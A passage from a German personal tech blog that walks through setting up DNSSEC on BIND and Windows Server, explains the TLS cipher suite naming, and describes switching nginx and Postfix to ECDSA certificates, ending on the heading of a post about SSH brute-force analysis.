$ dig . dnskey | grep -w 257 > dnssec_root.key
```
Diesen legt man jetzt im trusted-keys Block ab:
```generic
trusted-keys {
. 257 3 8 "AwEAAagAIKlVZrpC6Ia7gEzahOR+9W29euxhJhVVLOyQbSEW0O8gcCjF FVQUTf6v58fLjwBd0YI0EzrAcQqBGCzh/RStIoO8g0NfnfL2MTJRkxoX bfDaUeVPQuYEhg37NZWAJQ9VnMVDxP/VHL496M/QZxkjf5/Efucp2gaD X6RS6CXpoY68LsvPVjR0ZSwzz1apAzvN9dlzEheX7ICJBBtuA6G3LQpz W5hOA2hzCTMjJPJ8LbqF6dsV6DoBQzgul0sGIcGOYl7OyQdXfZ57relS Qageu+ipAdTTJ25AsRTAoub8ONGcLmqrAmRLKBP1dfwhYB4N7knNnulq QxA+Uk1ihz0=";}; Um sicherzustellen das man auch den richtigen bekommen hat, erstellt man kurzerhand daraus einen DS-Record und vergleicht diesen... # dnssec-dsfromkey -2 dnssec_root.key
. IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32 F24E8FB5
```
Für die Integritätsprüfung dieses Schlüssels hat die ICANN mehrere Methoden spezifiziert. Dieses liest sich sehr gut [>>hier<<](https://data.iana.org/root-anchors/draft-icann-dnssec-trust-anchor.html).
Nun sollte man Bind neu starten, damit er die Änderungen übernimmt. Theoretisch ist Bind nun schon in der Lage mit DNSSEC umzugehen.
Frage ich z.B.: meinen DNS-Server zuhause nach einer signierten Domain (www.cacert.org), das Flag +ad fordert den Nameserver auf die Antwort per DNSSEC zu validieren:
```generic
$ dig +ad www.cacert.org SOA @2a01:198:6ce::1
```
Dann bekomme ich die folgende Antwort.
[[Bild: dig +ad www.cacert.org SOA](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec01.jpg)
Möchte man wissen ob sein DNS-Server überhaupt DNSSEC beherrscht, setzt man bei seiner Anfrage einfach das Flag +dnssec
Beherrscht der gefragte Nameserver DNSSEC erhält man signierte Records....
```generic
$ dig +dnssec www.cacert.org SOA @2a01:198:6ce::1
```
[[Bild: dig +dnssec www.cacert.org SOA](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec02.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec02.jpg)
Gehen einem die, gleich erstellten, Schlüssel verloren, oder die signierte Zonendatei brennt ab, hat mein ein Problem. Genau wie bei der eigentlichen Einrichtung oder Aktualisierung ist die Reihenfolge sehr wichtig und einzuhalten. Denn die rekursiven DNS-Server halten ja für die Zeit der TTL die Abfrage im Cache.... Somit könnte man, bei falschem Vorgehen, für die Zeit der längsten TTL ~nicht~ erreichbar sein!
Ich habe mir folgenden Masterplan fürs DNSSEC aufgestellt. Im Grunde nichts weiter also vor jeder "großen" Änderung immer die längste TTL der Zone abzuwarten und fertig! Dieses habe ich mir mal irgendwann aufgemalt (nicht schön aber extrem selten). Hier also dieses ~analoge~ Bild!
[[Bild: Analoger DNSSEC Masterplan](https://www.kernel-error.de/wp-content/uploads/2010/11/DNSSEC-MASTERPLAN-scaled.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/DNSSEC-MASTERPLAN-scaled.jpg)
Nun könnte man schon beginnen seine Zonen zu signieren. Dazu muss natürlich erstmal ein neuer Schlüssel erzeugt werden. In meinem Fall dreht sich alles um die Domain kernel-errror.org
Um für diese ZONE nun einen 4096 Bit langen KSK zu erzeugen gibt man folgendes ein:
```generic
$ dnssec-keygen -r /dev/urandom -f KSK -a NSEC3RSASHA1 -b 4096 -n ZONE kernel-error.org
Kkernel-error.org.+007+55836
```
Den ZSK für die ZONE erstellt man mit:
```generic
$ dnssec-keygen -r /dev/urandom -a NSEC3RSASHA1 -b 4096 -n ZONE kernel-error.org
Kkernel-error.org.+007+25685
```
Nun finden sich im Verzeichnis vier neue Dateien. Kkernel-error.org ist die Domain, +007 ist der Schlüsseltyp und +55836 bzw. +25685 ist die ID des Schlüssels. Die Endung .key bezeichnet jeweils den öffentlichen Teil, .privat steht für den privaten Teil. Den privaten Teil sollte keiner in die Finger bekommen
Den öffentlichen Teil des KSK und des ZSK müssen nun noch in der Zone hinzugefügt werden.
```generic
$ cat *.key >> kernel-error.org
```
Der öffentliche Teil des KSK ist zusätzlich der Teil, welcher in der übergeordneten Zone publiziert werden muss. In diesem Fall müssen also die Jungs an den Root-Servern der TLD .org einen DS aus unserem öffentlichen KSK erstellen und ihn neben die NS-Records klatschen! Das läuft überall etwas anders. [Die Vorgehensweise von der DENIC und EURID schaut so aus, dass man seinen öffentlichen KSK dort hinschickt die Jungs basteln daraus einen DS-Record (sie trauen es einem wohl nicht selbst zu) und veröffentlichen diesen daraufhin.](https://www.kernel-error.de/wp-content/uploads/2010/11/vorgehensweise.txt)
Somit kann man nun das eigentliche Zonenfile signieren :) Folgender Aufruf erledigt dieses:
```generic
dnssec-signzone -r /dev/urandom -e +31104000 -k Kkernel-error.org.+007+55836 -f kernel-error.org.signed kernel-error.org Kkernel-error.org.+007+25685
Verifying the zone using the following algorithms: NSEC3RSASHA1.
Zone signing complete:
Algorithm: NSEC3RSASHA1: ZSKs: 1, KSKs: 1 active, 0 revoked, 0 stand-by
kernel-error.org.signed
```
+31104000 [Bild](chrome://sipgateffx/skin/icon_click2dial.gif)ist hier etwas besonders. Denn das ist die Zeit in Sekunden, welche die Signatur gültig ist. In diesem Fall 360 Tage....
Nun teilt man Bind noch mit dass er anstelle der Zonendatei [kernel-error.org](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error-org.txt) die Datei [kernel-error.org.signed](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error-org-signed.txt) [>>laden<<](https://www.kernel-error.de/wp-content/uploads/2010/11/laden.txt) soll, restart und schon ist die Arbeit fast beendet... Änderungen an der Zone nimmt man nun weiterhin wie gewohnt in der *kernel-error.org* vor, muss nach diesen Änderungen nur jeweils die Zone neu signieren. Ist ja klar, oder?
Man darf natürlich nicht vergessen den KSK in der übergeordneten Zone bekannt zu machen. Für die Publikation des KSK haben die meisten Registries ein Webinterface (meiner leider nicht :-/). Am Ende sind dann neben den NS-Records auch die nötigen DS-Records. Ob diese gesetzt sind findet man am besten heraus, indem man die DNS-Server der übergeordneten Zone (hier also die der TLD .org) danach fragt.....
```generic
$ dig org. in NS
```
Wirft uns die zuständigen DNS-Server für die TLD .org entgegen. Von diesen fischt man sich einfach einen heraus und fragt nach dem DS-Record der gewünschten Domain (ich frage einfach mal wieder nach cacert.org)!
```generic
$ dig +short @b2.org.afilias-nst.org cacert.org in DS
cacert.org. 86400 IN DS 59365 3 1 DA0668FAF7F726EF64284FC8D1393CF3DD0A39C5
cacert.org. 86400 IN DS 59365 7 2 3A4F6F9F8CFB0FABB508CDE5E874206F159B8A893938A8792C091613 6CF499BD
```
Vom feinsten, oder?
---
Gibt es etwas besonders zu beachten, gibt es Probleme?
Ja, die gibt es :-/
Normalerweise läuft die Kommunikation mit den Nameservern über das UDP Protokoll, schlägt dieses fehl kommt der Fallback auf TCP. Das UDP Protokoll hat aber ein Größenlimit von 512 Bytes pro Paket. Die Schlüssel bei DNSSEC sind dafür einfach zu groß. Vor allem bei NSEC3 Schlüsseln! EDNS (Extension Mechanisms for DNS) heben dieses auf. EDNS (RFC 2671) erlaubt nämlich unter anderem größere Pakete. Dieses wurde alles schon 1999 festgelegt. Na ja, wie bei so vielen schönen Dingen hängt, wie z.B. bei IPv6, die Umsetzung leider etwas durch . Somit hat die ein oder andere Firewall, security appliance und vor allem einige plaste DSL-Router damit Probleme. Einige lösen einfach nichts mehr auf und andere erschrecken sich bei einer signierten Antwort so sehr, dass sie erstmal abstürzen!
---
Ich als Freund vom Firefox habe da noch ein Addon gefunden. Dieses Firefox Plugin, der DNSSEC Validator zeigt einem jeweils den Status der aktuellen Seite an: [https://addons.mozilla.org/de/firefox/addon/64247/](https://addons.mozilla.org/de/firefox/addon/64247/)
---
* UPDATES 08.02.2011 *
Heute gibt es zwei schöne Updates....
1. [DeNIC will die de-Domain bald signieren](https://www.heise.de/newsticker/meldung/DeNIC-will-die-de-Domain-bald-signieren-1185645.html)
2. Mein Registrar hat es endlich geschafft meinen DS-Record in der ORG-Zone zu veröffentlichen :-)
[[Bild: Domain kernel-error.org ist nun sauber signiert](https://www.kernel-error.de/wp-content/uploads/2010/11/valid.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/valid.png)
---
Ich habe mir natürlich auch mal angeschaut in wie weit Microsofts Serverbetriebssystem hier mitspielt. Windows Server 2008 R2 SP1.... Der mitgelieferte DNS-Server soll/kann DNSSEC. Leider frisst der DNS-Server aus den Windows Sever 2008 R2 SP1 Boardmitteln nur Schlüssel vom Type SHA1. Das kommt daher, weil zuerst geplant war die ROOT-Zone so zu signieren. Später ist es dann aber doch SHA256 geworden. Daher lässt sich mit dem Systemeigenen DNS-Server nicht viel anfangen. Im SP2rc habe ich auch keine Verbessungen dazu gesehen. Wann dazu ein Update kommt, keine Ahnung :-)
Davon mal abgesehen.... So geht es!
[[Bild: Windows Server2008RC2 SP1 DNSSEC](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server01.jpg)
Klickt man im DNS-Manager mit der rechten Maustaste auf den gewünschten DNS-Server und geht dort in die Eigenschaften öffnen sich diese auch in einem neuen Fenster. Hier findet sich nun der Reiter: "Anchors für Vertrauensstellung". Hier werden nun alle als vertrauenswürdig eingestuften Schlüssel aufgelistet. Die DNSKEYs der TLD se sind schon seit (ich glaube) 2007 signiert. Die Jungs haben Schlüssel vom Type SHA1... Diese lassen sich also importieren. Die Schlüssel besorgt man sich am einfachsten wieder mit dig:
```generic
$ dig se. dnsskey
```
[[Bild: dig se. dnssec](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server02.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server02.jpg)
Nun ist es wohl am Einfachsten die Schlüssel in einen Texteditor zu werfern und dort schnell die Leerzeichen zu entfernen, sonst firsst der Windows Server 2008RC2 SP1 DNS-Server die Schlüssel nicht!
[[Bild: DNSKEY se anpassen](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server03.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server03.jpg)
Dann schnell die Eingabeaufforderung des Admins öffnen und mit dem Befehl:
```generic
c:\>dnscmd /TrustAnchorADD se ##Schlüssel##
```
Den DNSKEY In den lokalen DNS-Server werfen.....
[[Bild: Windows Server 2008RC2 SP1 DNS-Server DNSSEC](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server04.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2008server04.jpg)
Und schon ist der Schlüssel in der Liste :-) Auch wenn man damit keine vollständige Vertrauenskette bilden kann.
Wir warten also alle mal auf ein Update!
Was der Microsoft Server 2011 da kann, werde ich in den nächsten Tagen mal testen.
---
Ok, habe mir dann mal den Microsoft Windows Server 2011 SBS in den ESX4-Cluster geworfen.... Was soll ich sagen? Laut GUI kann der 2011 SBS Standard DNS-Server das auch ~noch~ nicht :-(
[[Bild: Microsoft Windows Server 2011 SBS DNSSEC](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2011server01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/dnssec-windows2011server01.jpg)
Wer mit Microsoft Systemen und deren Boardmitteln arbeiten will, dem bleibt nichts weiter übrig als zu warten....
---
*** UPDATES 22.02.2011 ***
Ich habe gerade meine kernel-error.de Domain auch signiert. Mein Registrar hat den DNSKEY freundlicherweise direkt veröffentlicht. Das bringt zwar erst etwas, wenn die TLD de. offiziell signiert ist.... Denn noch fängt der frühe Vogel den Wurm (oder so ähnlich)!
Über die Resolver aus dem DeNIC Testbed kann natürlich auch jetzt schon sauber abgefragt werden!
[[Bild: dnssec kernel-error.de denic testbed dnskey](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error.jpg)
[[Bild: DNSSEC Testbed DNSKEY kernel-error.de ](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error01.jpg)](https://www.kernel-error.de/wp-content/uploads/2010/11/kernel-error01.jpg)
---
*** UPDATE 08.06.2011 ***
Wooohoooo DeNIC hat ja inzwischen die TLD de sauber signiert. Inzwischen sind die DS-RR auch in der Root-Zone angekommen und nutzbar :) Damit ist die TLD .de. fertig signiert und voll nutzbar *freu*
---
*** UPDATE 28.02.2012 ***
Ich habe gerade alles in die Wege geleitet um die Domain: kernel-error.com zu schützen.
Zusätzlich habe ich eine ganz nette Möglichkeit gefunden sich alles nett grafisch darstellen zu lassen. Für meine Domains wären es folgende Links:
https://dnsviz.net/d/kernel-error.de/dnssec
https://dnsviz.net/d/kernel-error.org/dnssec
https://dnsviz.net/d/kernel-error.com/dnssec
Wer sich den Link anschaut, wird erkennen wie er schnell "seine" Domain dort eintragen kann.
Um zu testen ob sein eigener Rechner derzeit überhaupt die Möglichkeit hat mit DNSSEC zu arbeiten klickt am besten kurz hier:
https://test.dnssec-or-not.org
---
* UPDATE 27.05.2012 *
Wenn man schon eine so geschützten DNS-Server hat, dann lassen sich natürlich sehr gut darüber weitere Informationen als nur A-RECORDS oder ähnliches verteilen.
Ich habe hier https://www.kernel-error.de/2012/05/27/hinzufuegen-der-gpg-keys-zum-dns/ beschrieben wie sich die eigenen GPG Schlüssel über den DNS Server verteilen lassen und hier https://www.kernel-error.de/2012/05/27/hinzufuegen-der-ssh-public-keys-zum-dns/ ist beschrieben wie sich mit OpenSSH die Fingerprints einzelner Hosts mit dem DNS Server abgleichen lassen.
---
* UPDATE 12.10.2012 *
Ich glaub es nicht der geht… nö der geööööhhht!
Der Microsoft Windows Server 8 also öhm der Microsoft Windows Server 2012 kann es. Komplett sauber und ganz Microsoft in klickibunti… Ich habe sogar sinnige und nutzbare Informationen zu dem Thema bei Microsoft selbst gefunden.
Es lässt sich wirklich fast alles mit der Maus erledigen, vom Zonen signieren bis im Im- und Export von allem möglichen Zeugs. Auch eine Schritt für Schritt Anleitung habe ich gefunden. [https://technet.microsoft.com/en-us/library/hh831411.aspx](https://technet.microsoft.com/en-us/library/hh831411.aspx)
Ich habe hier auch noch ein paar Bilder zum gucken!
[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-01.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-01.png)
[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-02.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-02.png)
[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-03.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-03.png)
[[Bild: Windows Server 2012 DNSsec](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-04.png)](https://www.kernel-error.de/wp-content/uploads/2010/11/windows-server-2012-04.png)
---
* UPDATE 10.08.2013 *
Jetzt sind zusätzlich die TLS/SSL Schlüssel meiner Dienste per [DANE](https://www.kernel-error.de/2013/08/10/dnssec-und-dns-based-authentication-of-named-entities-dane/) mit dem DNS abgleichbar :-)
---
* UPDATE 14.11.2012 *
Ich habe dann mal die Schlüssellänge auf 4096bit angepasst :-D
---
## 31. TLS-ECDHE mit AES-256-GCM-SHA384 einfach erklärt
**Veröffentlicht:** 2020-04-14
**Permalink:** https://www.kernel-error.de/2020/04/14/tls-ecdhe-ecdhe-with-aes-256-gcm-sha384-was-bedeutet-das-eigentlich/
**Description:** Was bedeutet TLS-ECDHE-ECDHE mit AES-256-GCM-SHA384? In diesem Artikel erfährst du, was sich hinter diesem TLS-Cipher verbirgt und wofür er verwendet wird.
TLS_AES_256_CGM_SHA384 oder TLS_ECDHE_ECDHE_WITH_AES_256_GCM_SHA384 liest man immer mal wieder, wenn man sich etwas mit Transportverschlüsselung beschäftigt. Was genau dieses bedeutet ist nicht immer ganz klar. Daher möchte ich einmal probieren es etwas aufzuschlüsseln.
Um dieses nachvollziehen zu können, müssen vorher noch die folgenden Begriffe geklärt werden:
- Key exchange
Damit ist der Schlüsselaustausch gemeint.
- Certificate verification
Hier geht es um das eigentliche Zertifikat vom Server.
- Bulk encryption
Die eigentliche Verschlüsselung welche am Ende genutzt wird um die Daten auf ihrem Weg zu verschlüsseln.
- Hashing
Die eingesetzten Prüfsummen um sicherstellen zu können, das alles „richtig“ ist.
[Bild: Verschlüsselung-cipher](https://www.kernel-error.de/wp-content/uploads/2020/04/verschluesselung.jpg)
Ebenfalls muss man wissen, dass es seit TLSv1.3 einen Unterschied in der Schreibweise der cipher suite gibt. Bei <= TLSv1.2 tauchen in der cipher suite als erstes das Protokoll auf, dann der Algorithmus für den Schlüsselaustausch, nun die digitalen Signaturen des Serverzertifikates gefolgt vom „Rest“. Die Menge möglicher Kombinationen ist jetzt schon sehr hoch. Damit diese „Liste“ nicht in ihrer Länge explodiert hat man bei TLSv1.3 die beiden Punkte Key exchange und Certificate verification aus der Schreibweise entfernt.
Mit diesem Wissen kann man nun anfangen die beiden Zeichenkennten zu „zerlegen“.
TLS_ECDHE_ECDHE_WITH_AES_256_GCM_SHA384
- TLS
Nicht schwer, das eingesetzte Protokoll TLS (Transport Layer Security)
- ECDHE
Key exchange in diesem Fall ECDHE
- ECDHE
Certificate verification bei mir inzwischen ECDHE, sehr oft aber RSA
- WITH_AES_256_GCM
Bulk encryption also die eigentliche Verschlüsselung der Daten. In diesem Fall AES (Advanced Encryption Standard) mit der maximalen Länger von 256bit und GCM (Galois/Counter Mode).
- SHA384
Das eingesetzte Hashing SHA (Secure Hash Algorithm) in Version 2 mit einer Länge von 384bit.
TLS_AES_256_CGM_SHA384 schafft nun jeder allein, oder?
Sprechen wir noch kurz über den Key exchange. In diesem ist spezifiziert, wie sich Client und Server auf einen eigenen Schlüssel für ihre verschlüsselte Kommunikation einigen. Brauchbar sind dabei Kombinationen aus DHE (wenn sie >= 2048bit sind) und besser noch ECDHE, dabei stehe EC für elliptische Kurven DHE ist Diffie-Hellman. Diffie-Hellmann hat nämlich eine Möglichkeit aufgeführt, wie man für die Verschlüsselung einer Verbindung temporäre Schlüssel einsetzten kann. Denn es lassen sich auch verschlüsselte Verbindungen aufzeichnen. Natürlich kann man so noch immer nicht den Inhalt sehen.. Kommt man an den eingesetzten Schlüssel für die Kommunikation kann man diese damit entschlüsseln. Setzte man also auf einen temporären Schlüssel, gibt es diesen nur für eine gewisse Zeit und dann verschwindet er. Die Zeit, um an diesen Schlüssel zu kommen, ist daher extrem begrenzt und sorgt für eine zusätzliche Sicherheit. „Früher“ hat es gereicht sich einfach irgendwann/irgendwie den Schlüssel vom Server zu besorgen und man konnte mit diesem die Aufgezeichneten Verbindungen entschlüsseln. Bugs wie Heartbleed haben dieses noch vereinfacht. DHE minimiert also etwas das Risiko von Bugs und ergaunerten privat Keys vom Server. Man möchte für seine Verbindungen also nur DHE, besser noch ECDHE! Am besten bietet der Server nichts anders an, da sonst ggf. ein Angreifer versuchen könnte die Verbindung auf etwas „schlechteres“ herunter zu stufen, um so doch am Ende wieder an etwas kommen zu können.
Wenn wir dabei sind… Certificate verification. Nur eine verschlüsselte Verbindung alleine hilft ja nicht, wenn man sich mit dem falschen Server unterhält. Ich meine damit, dass ein Angreifer einfach dafür sorgt, dass wir nicht mit dem gewünschten Server sprechen, sondern mit seinem und dieser vielleicht einfach nur alle Daten durchreicht. Um dieses möglichst zu erschweren gibt es eine ganze Reihe verschiedener Möglichkeiten. Eine davon ist die Certificate verification. Der Server hat also ein Zertifikat, welches vielleicht noch von einer CA signiert wurde, dessen Prüfsumme im DNSsec geschützten DNS liegt, zu dem es HPKP (http Public Key Pinning) gibt oder oder… Dieses Zertifikat sollte daher ebenfalls so gebaut sein, dass man es nicht einfach „nachmachen“ kann. Daher sollte es >=2048bit RSA (asymmetrisches kryptographisches Verfahen) sein, besser noch 4096bit RSA. Hier sieht man schon ein „Problem“. Die Systeme „rechnen“ schneller und damit wird die Bitzahl erhört und die zu übertragenden Daten und das errechnen der Clients usw.. Insg. keine sehr schöne Lösung. ECDHE Zertifikate sind deutlich kleiner, damit schneller zu übertragen und zudem noch für den Client schneller zu prüfen.
Als Beispiel:
Ein Zertifikat mit elliptischen Kurven und einer Länge von 256bit ist grob vergleichbar mit einem RSA Zertifikat mit 3072bit. Wenn jemand daher auf elliptische Kurven setzt, sollten diese nicht kleiner als <=secp256r1 sein. secp224r1 liegt schon zu nahe an 1024bit RSA und fliegt bald weg. secp384r1 ist ganz vorne mit dabei, hat aktuell keinen besonderen Vorteil.
Bulk encryption, tjo die eingesetzte Verschlüsselung. Hier gibt es verschiedene Kombinationen, welche als „sicher“ gelten. Alle zu erklären sprengt sicher den Rahmen. April 2020 kann man sicher merken:
Kombinationen aus AES >=128bit mit GCM oder ChaCha20 mit Poly1305 sind ganz gut. OK ist im Moment noch AES >=128bit mit CBC. 3DES sollte man in keiner Kombination mehr nutzen, das fliegt bald aus der „Sicher“ Liste raus, so wie <= TLSv1.2. Von allen anderen Kombinationen sollte man tunlichst die Finger lassen!
Das Hashing bei der Bulk encryption (das Hashing für Key exchange und Certificate verification hängt am Serverzertifikat, unterliegt den gleichen Merkpunkten) sollte etwas um >= 256bit SHA 2 sein. Ein ganz guter Mittelweg ist hier SHA-384. SHA1 „geht“ wohl dabei ebenfalls noch. Ich würde davon und von allem anderen dennoch die Finger lassen. Wenn ihr irgendwo MD5 RC4 oder ähnliches seht, rennt weg!
Habe ich etwas vergesse, ist etwas falsch oder es gibt Fragen? Dann einfach E-Mail bitte!
---
## 32. Von RSA zu ECDSA: Sichere Zertifikate für Web- und Mailserver
**Veröffentlicht:** 2020-02-26
**Permalink:** https://www.kernel-error.de/2020/02/26/keine-rsa-zertifikate-mehr-o/
**Description:** Anleitung zum Wechsel von RSA- zu ECDSA-Zertifikaten für nginx und Postfix. Erfahre, wie du moderne Verschlüsselung mit elliptischen Kurven implementierst.
..... naja, fast :-/
Wir sind alle in 2020 angekommen und so laaaannngggsssaaammmm könnte man von 4096 bit RSA Zertifikaten mal auf >= 256 bit EC Zertifikate wechseln, oder? Bringt mehr Sicherheit, die Schlüssel sind kleiner und so schneller gerechnet und alle gängigen Browser machen es ebenfalls schon ein paar Jahre.
Vor knapp 6 Monaten habe ich daher einen Satz neuer Schlüssel erstellt und diese schon mal in mein HPKP Header eingebunden, damit der Key-Rollover gut funktioniert. Heute habe ich zu den Schlüsseln Zertifikate gebaut, diese von einer CA signieren lassen und alles eingebunden.
Bei meinem nginx vollkommen schmerzfrei. Einfach die neuen Schlüssel hinterlegt und die Cipherliste von allem RSA-Zeug befreit:
```generic
ssl_ciphers TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256;
```
Restart vom nginx und zack, schon läuft alles!
Bei den Webseiten also überhaupt kein Problem. Etwas anders ist es bei E-Mail! Postfix macht es natürlich schon, ach LANGE.. Aber ein Microsoft Exchange 2016 in der (weiter weiter fertigstellen) Installation natürlich nicht. Wenn ich also von so einem System weiterhin E-Mails erhalten möchte (ja will ich und per RSA kann so ein System es auch in ~sicher~), muss ich weiterhin etwas auf RSA Basis anbieten.
Jetzt haben sich die Entwickler(innen) bei Postfix schon so etwas gedacht und bieten dieses in der Konfiguration an. Also RSA Keys/Zertifikate? Richtig... OK, das ist nichts besonders aber das es in Kombination mit ECD Keys/Zertifikaten möglich ist. Ach schaut einfach mal die Konfiguration:
```generic
smtpd_tls_eckey_file = /usr/local/etc/postfix/ec-postfix.key
smtpd_tls_eccert_file = /usr/local/etc/postfix/ec-postfix.pem
smtpd_tls_key_file = /usr/local/etc/postfix/postfix.key
smtpd_tls_cert_file = /usr/local/etc/postfix/postfix.pem
```
Ha, ist das nicht schön? smtpd_tls_eckey_ und smtpd_tls_key_?!? Der Server wirft jedem Client nun also zwei Serverzertifikate entgegen. Einmal EC und einmal RSA (ok man braucht also nun ebenfalls zwei Zertifikate).
Schaut mal:
```shell
➜ ~ testssl.sh -t smtp smtp.kernel-error.de:25
[....]
Server Certificate #1
Signature Algorithm SHA256 with RSA
Server key size RSA 4096 bits
Server key usage Digital Signature, Key Encipherment
Server extended key usage TLS Web Server Authentication, TLS Web Client Authentication
Serial / Fingerprints 4F7A9159AEED9414B7D542ED / SHA1 908FD237EF13A6048077082023C4CDE092F55F33
SHA256 74E3984BD5F9FAC26375DAEA6F0326229A0F42AC2EE53088A73DFD5F65107FA9
Common Name (CN) *.kernel-error.de
subjectAltName (SAN) *.kernel-error.de kernel-error.de
Issuer AlphaSSL CA - SHA256 - G2 (GlobalSign nv-sa from BE)
Trust (hostname) Ok via SAN wildcard (same w/o SNI)
Chain of trust Ok
EV cert (experimental) no
ETS/"eTLS", visibility info not present
Certificate Validity (UTC) 403 >= 60 days (2020-02-26 14:19 --> 2021-04-05 13:58)
# of certificates provided 2
Certificate Revocation List http://crl2.alphassl.com/gs/gsalphasha2g2.crl
OCSP URI http://ocsp2.globalsign.com/gsalphasha2g2
OCSP stapling not offered
OCSP must staple extension --
DNS CAA RR (experimental) available - please check for match with "Issuer" above
iodef=mailto:kernel-erro@kernel-error.de, issue=comodoca.com, issue=geotrust.com, issue=globalsign.com, issue=letsencrypt.org, issue=thawte.com
Certificate Transparency yes (certificate extension)
Server Certificate #2
Signature Algorithm SHA256 with RSA
Server key size EC 256 bits
Server key usage Digital Signature, Key Agreement
Server extended key usage TLS Web Server Authentication, TLS Web Client Authentication
Serial / Fingerprints 24E25E2F3D57B41671392F25 / SHA1 763EE6D52D3CF0237D9858F27EDF42EF4696B1E2
SHA256 9C4C0FCE32BA7E8AEAF17210B509D871D6B2EF237E0E887D7190F28F28011143
Common Name (CN) *.kernel-error.de
subjectAltName (SAN) *.kernel-error.de kernel-error.de
Issuer AlphaSSL CA - SHA256 - G2 (GlobalSign nv-sa from BE)
Trust (hostname) Ok via SAN wildcard (same w/o SNI)
Chain of trust Ok
EV cert (experimental) no
ETS/"eTLS", visibility info not present
Certificate Validity (UTC) 365 >= 60 days (2020-02-26 13:37 --> 2021-02-26 13:37)
# of certificates provided 2
Certificate Revocation List http://crl2.alphassl.com/gs/gsalphasha2g2.crl
OCSP URI http://ocsp2.globalsign.com/gsalphasha2g2
OCSP stapling not offered
OCSP must staple extension --
DNS CAA RR (experimental) available - please check for match with "Issuer" above
iodef=mailto:kernel-erro@kernel-error.de, issue=comodoca.com, issue=geotrust.com, issue=globalsign.com, issue=letsencrypt.org, issue=thawte.com
Certificate Transparency yes (certificate extension)
[....]
```
Jetzt kann noch ein 2016 Microsoft Exchangeserver einliefern und auch die "coolen Kinder". Was mache ich wohl 2021? Exchange 2016 ignorieren?!?!
---
Kleines Update, da es Fragen gab..
Natürlich sollte man seine ciphers in einer sinnigen Reihenfolge für seinen Postifx konfigurieren. Kommen sie in der Reihe erst nach den RSA ciphern wird es natürlich fast nie benutzt *kopfschüttel*. Leute bitte kein copy & paste, mitdenken!
Ein Beispiel für die cipherliste wäre:
```generic
tls_high_cipherlist = TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256
```
TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256 sind dabei für TLS1.3
ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256 sind für den gewünschten ECD-Key
ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256 sind dann für TLS 1.2 RSA Verbindungen.
Kommt nun ein Client/einliefernder Mailserver, dann wird dieser dank:
```generic
tls_preempt_cipherlist = yes
```
Die vom Server übermittelte cipherliste durchgehen und die erste für beide funktionierende Kombination benutzen.
RSA Verbindungen sehen dann so aus:
```generic
Mar 3 08:24:13 smtp postfix/smtpd[49650]: Anonymous TLS connection established from RSA-mailserver[1.2.3.4]: TLSv1.2 with cipher ECDHE-RSA-AES256-SHA384 (256/256 bits)
```
ECD Verbindungen so:
```generic
Mar 3 08:23:53 smtp postfix/smtpd[49650]: Anonymous TLS connection established from EDC-mailserver[5.6.7.8]: TLSv1.2 with cipher ECDHE-ECDSA-AES256-GCM-SHA384 (256/256 bits)
```
Einfach, oder?
---
## 33. SSH-Brute-Force mit veralteter Implementierung: Angriffsmuster erkennen
**Veröffentlicht:** 2020-04-09
**Permalink:** https://www.kernel-error.de/2020/04/09/ssh-bruteforce-mit-alter-implementierung/
**Description:** Analyse von SSH-Brute-Force-Angriffen mit veralteten Implementierungen. Erkenne Muster in Logs und schütze deine Systeme vor gezielten Angriffen.
